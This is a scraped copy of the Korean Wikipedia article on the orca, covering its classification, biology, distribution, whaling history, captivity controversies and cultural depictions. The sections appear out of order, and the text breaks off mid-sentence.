너무 가까이 접근하거나 이동 경로를 막을 때 스트레스를 주거나 행동 변화를 줄 수 있다.[53] 알래스카에서 일어난 기름 유출 사고는 그 지역의 범고래 무리에게 악영향을 끼쳤다. 사고 이후 연어같은 먹이가 줄어들게 되었으며, 이는 범고래들에게 장기적으로 영향을 줄 것으로 여겨진다. 또한 일부 지역에서 이주성 무리 중 유출 사고에 영향을 받은 개체들이 생식 불능이 됐다는 연구 결과가 있으며, 이들이 향후에 멸종될 가능성이 있는 것으로 보인다.[54] 인간과의 관계[편집] 종으로 확인된 것은 1758년이지만, 인간은 오래전부터 범고래의 존재를 알고 있었다. 문헌에서는 기원전 70년경에 나타난다.[55] 포경업[편집] 노르웨이 연안에서 헤엄치는 성체 수컷 12세기에서 20세기 중반에 개체수가 줄어들 때까지 범고래는 포경의 대상이 되었다. 범고래의 상업적 포경은 1981년에 선포된 포경업 일시 중지로 멈췄다(범고래는 돌고래에 가깝지만 덩치가 크기 때문에 IWC의 제재 대상이 될 수 있었다.). 노르웨이는 1938년부터 1981년까지 해마다 평균 56마리를 잡았다. 한편 일본은 1946년부터 1981년까지 해마다 평균 43마리를 잡았다(전쟁 시의 포획 수는 알려져 있지 않다.). 소련은 1980년에 916마리를 잡았지만, 주로 남극에서 적은 숫자만을 포획했다. 현재는 어느 나라도 범고래를 대대적으로 포획하지 않는다. 생존을 위한 소규모 포획은 주로 인도네시아와 그린란드에서 이루어진다. 포경업 외에도, 범고래는 어업 활동에 지장을 준다는 이유로 살해되어 왔다. 1950년대에는 아이슬란드 해안 조업에 지장을 준다는 이유로, 정부의 요청에 따라 미군이 폭격기와 저격수를 이용해 범고래 무리를 학살하기도 하였다. 결과는 당시에 성공적이었다고 알려졌지만 과도한 어획을 더 비난하는 목소리도 적지 않았다. 이러한 토론은 아직도 지속되고 있으며, 북대서양의 어군 연구를 진행되게 하였다. 범고래가 인간의 포경 작업을 돕기도 한다고 알려져 있다. 상대를 무리지어 한 곳으로 몰고, 포경업자에게 고래의 위치를 알리고, 심지어 죽이는 데까지 동참하기도 하였다. 이러한 일을 한 범고래로는 1840년부터 1930년까지 남부 오스트레일리아 해안에서 서식한 ‘톰’이라는 수컷이며, 이 개체의 유골은 기념을 위해 이 지역의 고래 박물관에 전시되어 있다. 범고래에 대한 공포는 해양공원의 전시 등으로 많이 사라졌다. 사육되는 범고래[편집] 범고래의 지능 및 길들이기 쉽다는 것, 생김새, 크기, 사람과 놀아 주기를 좋아하는 성격은 이들을 전 세계 수족관에 곧잘 전시되는 해양 포유류로 만들었다. 이들을 처음으로 기르기 시작한 곳은 1964년 밴쿠버에 있는 수족관이며, 그 뒤로 15년 동안 60에서 70마리의 범고래가 태평양에서 포획되어 길러지게 되었다. 이렇게 사육을 위해 직접 포획됨에 따라 이 지역의 비이주성 무리가 위협을 받고 있다.[9] 1970년대에서 1980년대 초반까지는 주로 아이슬란드 해협에서 채집되었다. 이후 범고래는 인간들의 사육을 통해 성공적으로 번식하였다. 범고래 사육은 많은 논란을 일으키고 있으며, 많은 단체가 이를 막기 위해 계몽 운동을 펼치고 있다. 사육될 때 등지느러미의 붕괴를 비롯하여 여러 가지 신체적 이상이 생겼으며, 이는 60-90퍼센트의 수컷에게 관찰되고 있다. 사육되는 범고래는 수명이 야생에서보다 짧으며, 30에서 40년 정도를 사는 경우도 있지만 평균 수명은 20년 정도에 불과하다. 그에 비해 야생에서 암컷은 80년을 사며, 수컷은 60년을 산다. 사육 환경은 야생과 전혀 다르며 보통 다른 사회 무리의 개체와 섞여 사육된다.[56] 야생에 비해 턱없이 작은 수조, 기형적인 사회 구조, 그리고 화학적으로 처리된 물이 범고래들에게 스트레스를 준다는 비판이 있으며, 그럼으로써 사육상의 범고래는 자기 자신, 다른 범고래나 심지어 사람에게 공격적으로 변모하기도 한다. 등지느러미 붕괴[편집] 올랜도의 씨월드에 있는 등지느러미가 붕괴된 수컷 사육되는 범고래의 등지느러미 붕괴는 대부분 수컷에게 발생하며, 때때로는 암컷에게도 발생한다. 부분적으로나 한쪽으로 완전히 붕괴되기도 하는데, 이 현상을 설명하는 데에는 여러 가지 이론이 있다. 등지느러미는 콜라겐 조직 때문에 우뚝 설 수 있다. 한편에서는 등지느러미 붕괴가 범고래들의 병으로부터 발생되지는 않는다고 하였으며, 대신 콜라겐 조직의 영구적인 변형으로 발생하는 것으로 설명한다. 원인은 환경과 식성 변경, 단순화된 활동 패턴에 따른 저혈압 또는 콜라겐 조직의 장기적인 열 때문이라는 설이 있다.[57] 씨월드의 가설에 따르면, 사육상의 범고래는 자주 물에 떠오를 수밖에 없기 때문에 콜라겐 조직에 무리가 가서 변형된다고 한다.[58] 고래와 돌고래를 보호하는 사회는 야생보다 턱없이 작은 환경 때문이라고 주장한다.[59] 씨월드에 따르면, 등지느러미의 변형은 각 개체의 건강 상태를 나타내는 지표가 아니라고 한다.[58] 한편 야생에서는 등지느러미가 붕괴되는 일은 그다지 없으며, 있다 하더라도 배와의 충돌 등에서 생기는 경우뿐이다.[57] 기름 유출 사고 이후 기름에 노출된 개체들의 등지느러미가 붕괴되었으며, 끝내 죽고 말았다. 해안가에서 고립된 개체들의 등지느러미가 붕괴된 것이 목격된 바가 있지만, 바다로 돌아간 후 원래 모습을 되찾은 것이 확인되었다.[57] 뉴질랜드 연안에 서식하는 23퍼센트의 개체가 휜 등지느러미를 가진다고 보고[58][60] 되었지만, 이들은 여러 가지 변형을 모두 포함한다.[61] 뉴질랜드의 연구에 따르면, 30마리 중 2마리는 몸 전체에 많은 흉터를 지니고 있음이 드러났다.[61] 브리티시 컬럼비아 해안에서의 변형률은 4.7퍼센트이며 노르웨이에서는 0.57퍼센트이다.[61] 인간을 공격한 사례[편집] 드물지만 야생 범고래가 인간에게 해를 끼친 예는 몇 번 확인되었다. 일례로, 알래스카에서 수영을 하던 소년이 범고래에게 쫓긴 사건과 탐험대가 정박하고 있던 얼음을 흔들리게 했던 적이 있다.[62] 범고래에게 쫓긴 소년이 살던 곳은 알래스카에서도 항구물범이 많이 서식하는 지역이며, 범고래는 소년을 물범 중 하나로 오인한 것으로 보인다. 소년을 쫓기는 했었으나 물지는 않았다. 탐험대에게 일어난 사건에는 개가 끄는 썰매가 물범처럼 보여 범고래들을 부추긴 것으로 보인다. 인터넷 상에 돌아다니기도 하는 공격 영상은 조작된 것이 많다. 공격 사례는 오히려 사육되는 개체가 저지른 경우가 많다. ABC뉴스는 1970년대부터 24명정도의 인간을 공격했다고 보고했다.[63] 다른 공격 사례[편집] 잘 알려진 공격 사례는 1989년 8월, 씨월드에서 일어났다. 칸두 V라는 힘센 암컷이 새로 들어온 코키 II를 쇼 도중에 공격한 것이다. 코키 II는 태평양 마린랜드에서 들여왔으며, 사건 당시에 큰 소리가 났다. 조련사들이 이 범고래를 진정시키려고 노력했지만 칸두 V의 턱에 있는 동맥은 손상되어 있는 상태였다. 관중들은 공연장 밖으로 대피했으며, 45분 뒤 칸두 V는 사망했다. 본 프리(Born Free Foundation)라는 동물 보호 단체에서는 씨월드에 코키 II를 계속 사육하는 것에 대해 비판했으며 씨월드가 코키 II를 브리티시컬럼비아에 있는, 가족이 있는 고향으로 돌려 보내기를 원했다.[64] ‘나무’라는 사육되던 개체는 세균성 감염 때문에 신경계가 손상되었으며, 그에 따라 사람에게 반응하지 않게 되었다. 결국에는 살던 우리에 전속력으로 전진해 요동치다가 몇 분 뒤에 죽었다.[65] 그에 대한 다큐멘터리가 뒤에 만들어졌다.[66] 문화[편집] 섬을 범고래와 고래가 둘러싸는 모습을 그린 그림 북아메리카 북서 지방의 원주민 문화, 종교 관련물에는 범고래가 많이 등장한다. 시베리아 유피크 원주민의 전래 동화에 따르면, 늑대와 범고래는 같은 존재로서 겨울이 되면 늑대로 여름이 되면 범고래로 변한다는 믿음이 전해 내려온다.[67][68][69][70] 범고래는 바다에서 바다코끼리를 몰면서 사냥꾼을 돕는다는 믿음이 있다.[71] 배에 범고래의 그림을 새기거나 사냥할 때에 범고래가 새겨진 나무판을 걸고 다니면서 범고래를 숭앙했던 것으로 보인다.[72] 범고래들에 대한 예의로 담배를 바다에 던지기도 하였다.[71] 범고래가 늑대로 변한 뒤에도 순록을 몰아줌으로써 사냥꾼들을 돕는 것으로 여겨졌다.[70] 서방의 문학에서는 Orca라는 이름으로 이따금 등장하기도 했다. 하지만 이곳에서는 대개 사람을 해치는 바다괴물로 묘사되었다. 이러한 묘사는 1970년대까지 지속되었다. 영화 《오르카》는 인간 때문에 짝을 잃은 수컷이 복수심으로 말미암아 광포하게 행동함을 묘사한다. 이 영화는 오르카가 복수할 수도, 결말에는 끝내 인간을 용서할 수도 있는 지능을 지니고 있음을 간접적으로 보여 주고 있다. 《죠스》라는 영화에서는 백상아리를 사냥하는 배의 이름이 “오르카”였다. 최근에 범고래에 대한 연구가 늘고 해마다 인기가 증가하면서 범고래의 늑대 같은 이미지는 지워져 버렸다. 지금은 바다의 포식자이면서 인간에게는 해를 끼치지 않는 동물로 인식되고 있다. 애니메이션 영화 《해피피트》에서는, 주인공 일행을 공격한 2마리의 수컷 범고래를 강력하고 영리한 포식자이자 놀기를 좋아하는 동물로 묘사했으며, 인간이 일으킨 해양 오염의 많은 피해자 중에서 하나로 표현하였다. 이들 중 한 범고래는 프로펠러에 입은 상처를 지니고 있으며, 배에 대한 공포심이 강한 것으로 묘사된다. 범고래의 부정적인 이미지는 수면에서 옅보기, 빙산 흔들기와 먹잇감을 차거나 던지는 데에서 비롯하였다. 영화 《프리윌리》는 사육되는 범고래를 놓아 주려는 과정을 그리고 있다. 케이코라는 아이슬란드 해협에서 채집된 수컷이 주인공으로 등장한다. 오리건의 수족관에서 재활을 거친 후에 고향으로 되돌아갔지만, 그 뒤에도 인간에게 의지할 수밖에 없었으며, 2003년 12월에 폐렴으로 세상을 떠나고 말았다. 《포켓몬스터》에 등장하는 전설의 포켓몬 가이오가의 외형으로, 본래의 모티브는 레비아탄. 참고로 가이오가는 게임 내에서 최강의 물 포켓몬이다. 《침략! 오징어 소녀》의 오징어 소녀가 제일 무서워 하는 동물로 등장하였다. 각주[편집] ↑ “Orcinus orca”. 《멸종 위기 종의 IUCN 적색 목록. 2013.2판》 (영어). 국제 자연 보전 연맹. 2013. 2014년 6월 5일에 확인함.  ↑ Mead, J.G.; Brownell, R.L., Jr. (2005). 〈Order Cetacea〉 [고래목]. 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Robin W Baird Killer Whales of the World (2002) Voyageur Press, Stillwater, MN 외부 링크[편집] 위키미디어 공용에 관련된미디어 자료가 있습니다. 범고래 위키생물종에 관련된분류 및 자료가 있습니다. 범고래 위키낱말사전에관련된 항목이 있습니다. 범고래 사진과 영상자료 Orca-Live - Orcas in Johnstone Strait, British Columbia CNN: Clash of the Titans October 8, 1997 - Orca killing a Great White Shark Killer whale images, Tysfjord, Norway Orcafilm from Lofoten Islands Monterey Bay Whale Watch Photos: Killer Whales Attacking Gray Whales Video:Orca Attack Seal with Waves(Youtube) Video:Faked attack on Kayaker(Youtube) 지역별 북동태평양: Southern Residents (research by under/graduates at Beam Reach) Residents of the Pacific Northwest (general info from The Whale Museum) Residents of Southern Alaska (research) Southern Residents (Human-Orca Interaction) 북대서양과 북극해: Research project studying Killer whales in the Norwegian Arctic 남반구 해양: New Zealand, Papua New Guinea and Antarctic orca research 일반 정보 Killers of Eden Whale and Dolphin Conservation Society vdeh현존하는 고래하목의 종 계: 동물계 문: 척삭동물문 강: 포유강 하강: 진수하강 상목: 로라시아상목 목: 우제목/경우제목 수염고래소목참고래과북극고래속 북극고래 참고래속 남방참고래 북대서양참고래 북태평양참고래 수염고래과대왕고래속 밍크고래(북방쇠정어리고래) 남극밍크고래(남방쇠정어리고래) 보리고래 브라이드고래 에덴고래 대왕고래 오무라고래 큰고래 혹등고래속 혹등고래 귀신고래과귀신고래속 귀신고래 꼬마긴수염고래과꼬마긴수염고래속 꼬마긴수염고래 이빨고래소목보토과보토속 아라과이아강돌고래 볼리비아강돌고래 아마존강돌고래 프란시스카나과프란시스카나속 프란시스카나 양쯔강돌고래과양쯔강돌고래속 양쯔강돌고래 인도강돌고래과인도강돌고래속 인도강돌고래 참돌고래과흑백돌고래속 머리코돌고래 칠레돌고래 하비사이드돌고래 헥토르돌고래 참돌고래속 긴부리참돌고래 짧은부리참돌고래 들고양이고래속 들고양이고래 거두고래속 들쇠고래 참거두고래 큰코돌고래속 큰코돌고래 사라왁돌고래속 사라왁돌고래 낫돌고래속 대서양흰줄무늬돌고래 흰부리돌고래 필돌고래 모래시계돌고래 낫돌고래 흰배낫돌고래 고추돌고래속 북방고추돌고래 남방고추돌고래 강거두고래속 강거두고래 오스트레일리아강거두고래 범고래속 범고래 고양이고래속 고양이고래 흑범고래속 흑범고래 정글참돌고래속 투쿠시 기아나돌고래 혹등돌고래속 인도태평양혹등고래 인도혹등돌고래 오스트레일리아혹등돌고래 대서양혹등돌고래 중국흰돌고래 알락돌고래속 범열대알락돌고래 클리멘돌고래 줄무늬돌고래 대서양알락돌고래 긴부리돌고래 뱀머리돌고래속 뱀머리돌고래 큰돌고래속 남방큰돌고래 부르난큰돌고래 큰돌고래 외뿔고래과흰돌고래속 흰돌고래 외뿔고래속 외뿔고래 쇠돌고래과상괭이속 상괭이 쇠돌고래속 안경돌고래 쇠돌고래 바키타 버마이스터돌고래 까치돌고래속 까치돌고래 향고래과향고래속 향고래 꼬마향고래과꼬마향고래속 쇠향고래 꼬마향고래 부리고래과부리고래속 아르누부리고래 망치고래 병코고래속 북방병코고래 남방병코고래 열대병코고래속 열대병코고래 이빨부리고래속 소워비부리고래 앤드류부리고래 허브부리고래 혹부리고래 제르베부리고래 은행이빨부리고래 그레이부리고래 헥토르부리고래 데라냐갈라부리고래 끈모양이빨고래 트루부리고래 페린부리고래 꼬마부리고래 큰이빨부리고래 부채이빨부리고래 셰퍼드부리고래속 셰퍼드부리고래 민부리고래속 민부리고래 고래류의 종 목록 전거 통제 GND: 4328271-4 BNF: cb12350862r (데이터) NDL: 00576680 원본 주소 "https://ko.wikipedia.org/w/index.php?title=범고래&oldid=24468534" 분류: IUCN 적색 목록 정보부족종범고래해양 포유류1758년 기재된 동물숨은 분류: CS1 - 영어 인용 (en)CS1 관리 - 여러 이름인용 오류 - 날짜CS1 관리 - et al.의 직접적인 사용인용 오류 - 제목 없이 URL을 사용함라틴어 표기를 포함한 문서영어 표기를 포함한 문서고대 그리스어 표기를 포함한 문서인용 오류 - 오래된 변수를 사용함위키낱말사전과 연결된 문서GND 식별자를 포함한 위키백과 문서BNF 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용위키생물종 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 AfrikaansالعربيةAsturianuAzərbaycancaتۆرکجهБеларускаяБеларуская (тарашкевіца)‎Българскиབོད་ཡིགBrezhonegCatalàCebuanoᏣᎳᎩČeštinaCymraegDanskDeutschΕλληνικάEnglishEsperantoEspañolEestiEuskaraفارسیSuomiFøroysktFrançaisGaeilgeGàidhligGalegoAvañe'ẽ客家語/Hak-kâ-ngîעבריתHrvatskiMagyarՀայերենInterlinguaBahasa IndonesiaIñupiakIdoÍslenskaItalianoᐃᓄᒃᑎᑐᑦ/inuktitut日本語ქართულიҚазақшаKalaallisutLatinaLimburgsLietuviųLatviešuМакедонскиമലയാളംМонголBahasa MelayuNāhuatlNederlandsNorsk nynorskNorskNovialDiné bizaadOccitanPolskiپنجابیپښتوPortuguêsRomânăРусскийSicilianuDavvisámegiellaSrpskohrvatski / српскохрватскиSimple EnglishSlovenčinaSlovenščinaShqipСрпски / srpskiSvenskaதமிழ்తెలుగుไทยTagalogTürkçeТатарча/tatarçaУкраїнськаOʻzbekcha/ўзбекчаTiếng ViệtWinaray吴语中文Bân-lâm-gú粵語 링크 편집 이 문서는 2019년 6월 23일 (일) 08:47에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
범고래 - 위키백과, 우리 모두의 백과사전 범고래 위키백과, 우리 모두의 백과사전. (솔피에서 넘어옴) 둘러보기로 가기 검색하러 가기 범고래 알래스카 우니막 섬 가까이의 이주성 범고래 무리 사람(1.8m)과 비교한 크기(9m) 범고래의 소리 보전 상태 정보부족(DD), IUCN 3.1[1] 생물 분류 역: 진핵생물 계: 동물계 문: 척삭동물문 강: 포유강 목: 우제목/경우제목 아목: 경하마형아목 하목: 고래하목 소목: 이빨고래소목 과: 참돌고래과 속: 범고래속(Orcinus) 종: 범고래(O. orca) 학명 Orcinus orcaLinnaeus, 1758 범고래의 분포도 범고래(학명: Orcinus orca, 영어: killer whale 또는 orca[2])는 참돌고래과에 속하는 고래 중 큰 종이자, 극지방에서 열대지방에 이르기까지 널리 발견되는 이빨고래이다. 영화 프리 윌리에 나오는 고래로도 유명하다. 범고래는 능동적인 포식자이다. 이들의 주식은 여러 가지가 있는데 물고기를 주로 먹는 무리들이 있는가 하면 바다사자와 다른 고래를 포함한 젖먹이 동물을 사냥하는 무리도 있다. 범고래는 크게 다섯 종류로 나뉘며 이들을 아종이나 다른 종으로 구분해야 한다는 의견도 있다. 범고래는 매우 사회적인 동물이며 상당히 안정된 모계 사회를 형성하는 경우도 있다.[3] 사회행동과 사냥법 및 독특한 노래는 범고래들 특유의 문화를 보여 준다.[4] 다른과의 고래들과는 다르게 범고래는 전 세계적으로 멸종위기에 놓이지는 않으나 몇몇 지역군에서는 존망 위기를 맞고 있는데 해양오염과 먹이의 감소, 어선과의 충돌이 그 까닭이다. 야생범고래는 보통 인간에게 위협적인 존재로 여겨지지는 않으나[5], 해양공원에서 사육된 범고래가 조련사 등을 공격한 사례는 몇 건 있다.[6] 목차 1 분류 1.1 이름 2 외관 3 생애 4 분포 5 사냥 대상 5.1 물고기와 여타 냉혈동물 5.2 다른 포유류 5.3 조류 6 행동 6.1 사회 구조 6.2 노래 6.3 지능 7 보전 상태 8 인간과의 관계 8.1 포경업 8.2 사육되는 범고래 8.2.1 등지느러미 붕괴 8.2.2 인간을 공격한 사례 8.2.3 다른 공격 사례 8.3 문화 9 각주 10 참고 자료 11 외부 링크 분류[편집] 범고래속의 유일한 종인 범고래는 1758년에 린네가 처음으로 분류하였다.[7] 범고래는 참돌고래과의 35종 가운데 하나이다. 향고래가 향고래속에 유일하게 속하는 것처럼 범고래도 범고래속에 속하는 그 수가 많은 종이다. 고생물학자들은 범고래가 계통분화 없이 그대로 진화했다고 추측한다. 사실이라면 범고래는 가장 오래된 돌고래라 할 수 있게 된다. 전 세계 해양의 범고래들은 3가지에서 5가지로 나뉜다. 서로 간의 차이는 서로 큰 편이며 아종으로 구분하거나 심지어는 다른 종으로 여기기도 한다. 북미의 해안에서 1970년대부터 1980년대까지 이루어진 조사에 따르면 다음과 같은 세 종류가 있다. 비이주성: 북동아메리카 해안에서 흔히 관찰되는 종류이다. 주식은 물고기와 오징어 등이며 무리 안에서는 복잡하고 연대 깊은 가족 관계를 형성한다. 종종 거대한 모계 사회를 이루며 서로 독특한 방언의 노래를 이용한다. 비이주성 범고래 무리의 중심은 어미이며 10살 이하의 새끼 및 다 자란 자식들이 구성원이다. 암컷들은 자신의 새끼를 낳기 위해 서서히 어미와 멀어지지만, 수컷들은 어미 곁을 평생 따라다니는 것으로 보인다. 짝짓기를 위해서는 잠시 무리를 떠나지만, 그 뒤에는 어미에게로 돌아온다.[8] 암컷들은 대체로 완만하면서 끝이 뾰족한 등지느러미를 가지고 있다. 같은 지역을 자주 방문하는 곳으로 알려져 있으며, 브리티시컬럼비아주와 워싱턴주 해안에서 자주 나타나기 때문에 가장 많이 연구된 해양 포유류이다. 30년 동안 무려 300마리 이상을 이름 지었다. 이주성: 이들의 주식은 대부분이 다른 해양 포유류이며 물고기는 먹지 않는다. 알래스카주 남부에서는 2마리에서 6마리로 구성되는 작은 무리를 이룬다. 비이주성 무리와 달리 가족끼리 언제나 몰려다니지는 않는다. 이들의 구성원 숫자는 적고 유대감이 덜하며 노래의 방언도 대체로 덜 복잡한 편이다. 암컷의 등지느러미는 비이주성 암컷에 비해 삼각형에 가까운 모양을 띠며, 잿빛으로 보이는 점이나 하얗게 보이는 점이 흩어져 있다. 이들은 해안선을 따라 이동하며, 알래스카주 남부에서 캘리포니아주까지 이동하는 것이 확인된 적이 있다. 원양: 1998년에 혹등고래 연구자들이 범고래가 원양에서 나타났다 사라지는 것을 보고하였다. 이들은 원양을 헤엄쳐 다니면서 물고기와 상어, 바다거북을 잡아먹는다. 60마리가 넘는 개체가 무리지어 다니는 것이 목격되었지만 지금은 이들의 행동에 대해서 많이 알려진 바가 없다. 하지만 유전적으로 비이주성, 이주성 범고래와 구분할 수 있다. 원양의 암컷은 둥그런 등지느러미로 구분된다. 분류별 돌고래와 분류 C에 속하는 범고래. 눈주위의 무늬가 앞쪽으로 기울어져 있다. 다른 지역에서의 범고래는 대체로 잘 연구되어 있지 않지만, 개체의 주식과 사회적 행동에는 관련이 깊은 것이 확인되었다. 물고기를 주식으로 하는 알래스카와 노르웨이 해안의 범고래는 비이주성의 성향을 띠었으며 다른 해양 포유류를 주식으로 하는 아르헨티나 해안의 범고래는 이주성의 성향을 띠었다.[3] 성향이 다른 범고래들은 같은 지역에 살 수는 있지만 서로 피하는 경향이 있다. 한때는 이주성 범고래가 비이주성 무리로부터 쫓겨난 개체로 이루어졌다고 여겨졌지만 나중에 이 두 종류의 범고래의 성향이 뒤바뀌는 일은 없음이 확인되었다. 둘이 분화된 것은 2백만 년 전으로 보이며[9], 이 두 종류의 범고래들이 최고 1만 년 동안 서로 섞이지 않았다는 유전자 연구 결과도 있다.[10] 남극에서는 다음과 같은 3가지 종류가 확인되었다. 분류 A: 보통의 범고래처럼 생겼으며, 원양에서 주로 밍크고래를 사냥함으로써 살아간다.[11] 분류 B: 분류 A보다 작다. 눈 주위에 있는 무늬가 크며, 등은 회색이다. 주로 바다표범을 사냥함으로써 살아간다.[11] 분류 C: 분류 B보다도 작으며, 다른 종류의 범고래보다 더 큰 무리를 형성한다. 눈주위의 무늬가 몸에 평행하지 않고 약간 기울어져 있다. 남극대구만을 사냥한다.[11] 분류 B와 C에 속하는 범고래는 주로 빙산 가까이에 거주하며, 이 지역에 발생하는 조류가 피부를 조금 노랗게 물들일 수도 있다. 이 두 종류가 다른지는 아직까지도 연구가 지속되고 있다.[12][13] 이름[편집] 영어권에서는 이 고래를 killer whale 라 하지만, orca가 훨씬 많이 사용되고 있다. 속명 Orcinus는 "망자(亡者)의 왕국",[14] 또는 "오르쿠스(고대 로마 신화의 저승신)에게 속한"이라는 뜻이다.[15] 고대 로마에서는 범고래를 orca, 복수형으로 orcae 라고 불러써으며, 이것은 그리스어에서 고래 전반을 가리키는 단어 ὄρυξ에서 유래한 것으로 보인다. 1960년대 이후로 영어권에서 orca 라는 단어의 사용이 꾸준히 증가했으며, 현재는 killer whale 과 orca 둘 다 사용되고 있다. orca 라는 단어는 "killer"(살해자)라는 단어의 부정적인 느낌을 피하려는 사람들에게 선호된다.[16] 또한 범고래가 참돌고래과에 속하기 때문에, 덩치 큰 고래를 뜻하는 whale보다 dolphin과 유관계하다고 생각되기 때문이기도 하다.[17] 일부 학자들은 killer whale이라는 이름이 스페인어 asesina ballenas를 오역한 것이 아닌가 추측하기도 하는데, asesina ballenas는 "고래살해자"(whale killer)라는 뜻이다.[18] 그람푸스(Grampus)라는 이름도 한때 사용되었으나, 현재는 거의 쓰이지 않는다. 현재 그람푸스는 리소돌고래를 가리킨다.[19] 한국어로는 흰줄박이물돼지라고도 한다. 옛날에는 솔피(率皮), 해랑(海狼)이라고도 했다. 여러 나라에서 사용하는 범고래 단어는, 대체로 이들의 폭력성을 암시하는 뜻을 담고 있다. 외관[편집] 범고래의 골격 범고래는 까만 등, 하얀 가슴과 옆, 그리고 눈 주위에 있는 흰 무늬로 구분한다. 갓난 새끼는 약간 노란색이나 주황색을 띤다. 덩치가 크며[20] 약 2미터(6.6 피트)까지 자라는 커다란 등지느러미를 지니고 있다. 남극에서 서식하는 개체는 회색이나 흰 등을 지니기도 한다. 수컷의 몸길이는 6~8 m 정도이며, 무게는 최대 6 t 정도 나가나, 사람에게 생포된 최대 크기의 개체의 경우 무게가 10 t에 육박했다고 한다. 암컷은 수컷보다 작으며 몸길이 5~7 m 정도이다. 몸무게는 3~4 t 정도 나간다.[21] 아까 말했던 사람에게 생포된 가장 큰 범고래는 일본 연안에서 발견되었으며, 몸길이 9.8 m, 몸무게는 10 t에 육박했다. 갓 태어난 새끼의 크기도 상당히 큰 편으로, 무게는 180kg이며, 몸길이는 2.4 m 정도이다.[22][23] 범고래가 빨리 이동할 수 있는 것은 유선형 몸체와 상당히 큰 몸집 때문이다. 최고 이동 속도는 시속 56킬로미터에 이르지만, 이 속도로는 아주 짧은 시간(몇 분 정도)만 헤엄칠 수 있는 한계도 지니고 있다. 돌고래와는 달리 범고래의 가슴지느러미는 크고 둥글다. 수컷의 가슴지느러미는 암컷보다 훨씬 크다. 수컷의 등지느러미 또한 암컷보다 두 배 정도 크며 길쭉한 이등변 삼각형처럼 생겼다. 암컷의 등지느러미는 짧고 둥글다.[24] 다 자란 수컷은 다른 해양 동물과 확실히 구분된다.[25] 하지만 원거리에서 볼 때 범고래 암컷이나 새끼는 범고래붙이, 리소돌고래같은 다른 고래와 혼동될 수 있다.[26] 범고래가 수면에 떠오를 때 등지느러미와 무늬를 드러내므로 이때 범고래의 개체적 특징을 잘 확인할 수 있다. 무늬의 유형, 흉터, 상처 등은 개체들을 구분하기에 충분하다. 범고래가 자주 출현하는 북동부 태평양에서는 각 개체의 사진과 이름이 정렬(整列)된 카탈로그를 보유하고 있다. 이 카탈로그를 이용하여 이 지역에서는 더욱 정확한 개체 숫자를 측정할 수 있으며, 범고래의 생태와 사회를 잘 이해할 수 있다. 생애[편집] 암컷은 대체로 15살이 되면 성숙한다. 월경기는 15개월에서 18개월이다. 암컷은 보통 5년마다 한 마리의 새끼를 낳는다. 비이주성 무리를 조사한 결과 번식은 연중 일어나지만 겨울에 많이 일어나는 것으로 나타났다. 갓난 새끼의 생존률은 매우 낮으며, 한 살이 되기 전까지 절반이 생명을 이어가지 못한다. 어미는 새끼를 최대 2년 동안 수유를 하지만 12개월 뒤에는 딱딱한 먹이를 준다. 수컷을 비롯한 모든 무리의 개체가 새끼를 돌본다.[9] 암컷은 대체로 40살까지 새끼를 낳으며, 그동안 평균 5마리의 자식을 둔다. 암컷의 평균 수명은 50살이지만, 70~80살까지 살 경우도 있다. 수컷은 15살에 성적으로 성숙하지만, 보통 21살까지는 번식을 하지 않는다. 수컷은 암컷만큼 오래 살지는 않는데, 평균 수명이 30년이며, 길어봤자 50~60년 정도이다.[8] 하지만 ‘톰’이라는 이름의 수컷은 1843년부터 1932년까지 매년 겨울에 오스트레일리아 해안에서 발견되었는데 이로써 최소 89년은 살았을 것이라고 추론할 수 있다.[27] 사육되는 범고래의 수명은 훨씬 짧아서 보통 25년 이내이다.[28][29] 흰 범고래는 베링해와 세인트로렌스 섬 부근에서 목격되었으며, 러시아 해안에서도 발견되었다. 이들 말고도 전 세계에 발견된 흰 범고래는 외관을 제외하고는 건강 조건 등은 다른 범고래와 차이는 없어 보였다.[30] 분포[편집] 빠르게 이동하기 위해서 범고래는 이렇게 뛰어오른다. 범고래는 전 세계의 대양과 대부분의 바다에 분포한다. 고래류 중에는 흔치 않게 아라비아해와 지중해에서도 발견된다. 하지만 보통은 차가운 바다와 극지방을 선호한다. 간혹 수심 깊은 곳에서 발견된 적이 있지만, 연안에서 더 자주 발견된다. 범고래의 수가 많은 곳은 캐나다에서 알래스카까지 이어지는 북동 태평양 지역, 아이슬란드 부근, 북부 노르웨이 지역이다. 남극 지방에서는 빙산 부근에서 자주 발견되지만 겨울의 극지방에서는 잘 발견되지 않는다. 원양과 열대지방에 서식하는 범고래 숫자는 많지 않지만 분포 영역은 넓은 것으로 알려져 있다. 이 지역에서 자주는 아니지만 발견되는 것을 봐서 범고래가 따뜻한 수온에서 서식이 가능함을 말해준다. 인도네시아와 필리핀 지역에서는 잘 발견되지 않는다. 정확한 전 세계 숫자는 집계된 적이 없지만 남극 지방에서는 7~8만 개체, 열대 태평양에서는 8천 개체가 있는 것으로 추측되고 있다. 한국 연안에서는 문헌상 기록에는 이들이 분포하는 것으로 되어 있지만 본격적인 연구가 진행된 적은 없다. 그렇지만 1999년 연안 고래에 대한 연구가 시작된 뒤로 제주도, 독도, 울산 앞바다, 서해 등지에서 서식하는 것이 확인되었다.[31][32] 어림치를 모두 합하면 전 세계의 범고래 숫자는 10만 마리는 된다고 추측된다. 북극 빙산이 빠른 속도로 녹기 시작함에 따라 범고래의 분포 범위는 허드슨만이나 북쪽으로 확산되고 있으며, 출현 빈도도 잦아지고 있다.[33] 이주성 범고래의 이동 유형은 잘 알려진 바가 없다. 비이주성 범고래는 사라졌다가 해마다 같은 지역에서 발견된다. 수십 년의 연구에도 불구하고 비이주성 범고래들이 그 사이에 어디로 사라지는지는 알려진 바가 없다. 연구자들은 2008년 2월 23일 알래스카 해안에서 